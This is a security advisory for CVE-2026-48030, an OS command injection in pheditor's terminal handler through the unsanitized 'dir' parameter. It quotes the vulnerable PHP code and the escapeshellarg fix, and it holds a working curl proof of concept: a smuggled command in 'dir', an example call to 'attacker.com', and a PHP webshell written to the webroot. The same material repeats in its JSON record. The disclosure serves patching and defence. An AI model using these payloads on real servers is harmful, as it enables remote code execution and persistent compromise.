GHSA-JVC5-6G7Q-C843
Vulnerability from github – Published: 2026-06-09 22:00 – Updated: 2026-06-09 22:00Summary
An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.
Details
The terminal handler in pheditor.php accepts two POST parameters: command and dir. Shell metacharacters are validated on $command only — $dir is passed to shell_exec() without any sanitization.
Vulnerable code (pheditor.php, line 554–586):
$command = $_POST['command']; // ✓ metacharacters checked
$dir = $_POST['dir']; // ✗ NOT checked — vulnerable
if (strpos($command, '&') !== false ||
strpos($command, ';') !== false ||
strpos($command, '||') !== false) {
die(...); // only guards $command, not $dir
}
$output = shell_exec(
(empty($dir) ? null : 'cd ' . $dir . ' && ')
. $command . ' && echo \ ; pwd' // ← $dir injected here
);
An attacker sends dir=/tmp; curl attacker.com # — the semicolon in $dir is never checked, so the injected command executes freely.
Fix: replace $dir with escapeshellarg($dir) on line 586.
PoC
Requirements: valid credentials, terminal permission enabled (default)
Step 1 — Authenticate:
curl -c cookies.txt -X POST http://TARGET/pheditor.php \
-d "pheditor_password=admin" -L > /dev/null
Step 2 — Get CSRF token:
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')
Step 3 — Confirm curl is blocked via command field:
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=curl https://ifconfig.me" \
--data-urlencode "dir=/tmp"
→ {"error":true,"message":"Command not allowed"}
Step 4 — Bypass whitelist via dir injection:
TOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | \
grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/tmp; curl -s https://ifconfig.me #"
→ {"error":false,"message":"OK","dir":"<PUBLIC_IP>"}
Step 5 — Full RCE via webshell:
curl -s -b cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls" \
--data-urlencode "dir=/var/www/html; echo '<?php system($_GET["c"]);?>' > /var/www/html/shell.php #"
curl "http://TARGET/shell.php?c=id"
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
OS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:
- Execute arbitrary OS commands as the web server user
- Bypass the TERMINAL_COMMANDS whitelist entirely
- Deploy persistent PHP webshells to the webroot
- Read, write, or delete any file accessible to the web server
- Potentially compromise other applications on the same server
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.3"
},
"package": {
"ecosystem": "Packagist",
"name": "pheditor/pheditor"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.1"
},
{
"fixed": "2.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48030"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-09T22:00:35Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nAn OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the \u0027dir\u0027 POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.\n\n### Details\n\nThe terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only \u2014 `$dir` is passed to shell_exec() without any sanitization.\n\nVulnerable code (pheditor.php, line 554\u2013586):\n\n```php\n$command = $_POST[\u0027command\u0027]; // \u2713 metacharacters checked\n$dir = $_POST[\u0027dir\u0027]; // \u2717 NOT checked \u2014 vulnerable\n\nif (strpos($command, \u0027\u0026\u0027) !== false ||\n strpos($command, \u0027;\u0027) !== false ||\n strpos($command, \u0027||\u0027) !== false) {\n die(...); // only guards $command, not $dir\n}\n\n$output = shell_exec(\n (empty($dir) ? null : \u0027cd \u0027 . $dir . \u0027 \u0026\u0026 \u0027)\n . $command . \u0027 \u0026\u0026 echo \\ ; pwd\u0027 // \u2190 $dir injected here\n);\n```\n\nAn attacker sends `dir=/tmp; curl attacker.com #` \u2014 the semicolon in $dir is never checked, so the injected command executes freely.\n\nFix: replace `$dir` with `escapeshellarg($dir)` on line 586.\n\n### PoC\n\nRequirements: valid credentials, terminal permission enabled (default)\n\nStep 1 \u2014 Authenticate:\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET/pheditor.php \\\n -d \"pheditor_password=admin\" -L \u003e /dev/null\n```\n\nStep 2 \u2014 Get CSRF token:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n grep -o \u0027token = \"[a-f0-9]*\"\u0027 | \\\n grep -o \u0027\"[a-f0-9]*\"\u0027 | tr -d \u0027\"\u0027)\n```\n\nStep 3 \u2014 Confirm curl is blocked via command field:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n --data-urlencode \"action=terminal\" \\\n --data-urlencode \"token=$TOKEN\" \\\n --data-urlencode \"command=curl https://ifconfig.me\" \\\n --data-urlencode \"dir=/tmp\"\n\n\n\u2192 {\"error\":true,\"message\":\"Command not allowed\"}\n```\n\nStep 4 \u2014 Bypass whitelist via dir injection:\n\n```bash\nTOKEN=$(curl -s -b cookies.txt http://TARGET/pheditor.php | \\\n grep -o \u0027token = \"[a-f0-9]*\"\u0027 | \\\n grep -o \u0027\"[a-f0-9]*\"\u0027 | tr -d \u0027\"\u0027)\n\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n --data-urlencode \"action=terminal\" \\\n --data-urlencode \"token=$TOKEN\" \\\n --data-urlencode \"command=ls\" \\\n --data-urlencode \"dir=/tmp; curl -s https://ifconfig.me #\"\n\n\n\u2192 {\"error\":false,\"message\":\"OK\",\"dir\":\"\u003cPUBLIC_IP\u003e\"}\n```\n\nStep 5 \u2014 Full RCE via webshell:\n\n```bash\ncurl -s -b cookies.txt -X POST http://TARGET/pheditor.php \\\n --data-urlencode \"action=terminal\" \\\n --data-urlencode \"token=$TOKEN\" \\\n --data-urlencode \"command=ls\" \\\n --data-urlencode \"dir=/var/www/html; echo \u0027\u003c?php system($_GET[\"c\"]);?\u003e\u0027 \u003e /var/www/html/shell.php #\"\n\ncurl \"http://TARGET/shell.php?c=id\"\n\n\n\u2192 uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\n\nOS Command Injection (CWE-78). Any authenticated pheditor user with terminal permission enabled (default configuration) is able to:\n\n- Execute arbitrary OS commands as the web server user\n- Bypass the TERMINAL_COMMANDS whitelist entirely\n- Deploy persistent PHP webshells to the webroot\n- Read, write, or delete any file accessible to the web server\n- Potentially compromise other applications on the same server",
"id": "GHSA-jvc5-6g7q-c843",
"modified": "2026-06-09T22:00:35Z",
"published": "2026-06-09T22:00:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pheditor/pheditor/security/advisories/GHSA-jvc5-6g7q-c843"
},
{
"type": "WEB",
"url": "https://github.com/pheditor/pheditor/commit/62b43df7cb8956a9b0deb9bec278ca8676c890c5"
},
{
"type": "PACKAGE",
"url": "https://github.com/pheditor/pheditor"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pheditor: OS Command Injection in terminal handler via unsanitized \u0027dir\u0027 parameter"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.